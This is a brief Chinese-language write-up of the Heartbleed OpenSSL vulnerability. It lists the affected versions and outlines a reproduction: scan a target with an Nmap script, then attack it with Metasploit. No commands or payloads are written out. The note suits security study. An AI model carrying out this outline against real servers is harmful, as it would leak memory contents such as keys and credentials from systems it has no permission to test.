漏洞描述 #
2014年4月7日，OpenSSL发布安全公告，在OpenSSL1.0.1版本至OpenSSL1.0.1f Beta1版本中存在漏洞，该漏洞中文名称为心脏滴血，英文名称为HeartBleed。其中Heart是指该漏洞位于心跳协议上，Bleed是因为该漏洞会造成数据泄露。即HeartBleed是在心跳协议上的一个数据泄露漏洞，OpenSSL库中用到了该心跳协议。HeartBleed主要存在与OpenSSL的1.0.1版本到1.0.1f版本。
影响版本 #
OpenSSL1.0.1、1.0.1a、1.0.1b、1.0.1c、1.0.1d、1.0.1e、1.0.1f、Beta 1 of OpenSSL 1.0.2等版本
漏洞复现 #
使用Nmap检测脚本对目标进行检测
检测到心脏滴血漏洞，使用MSF对目标进行攻击
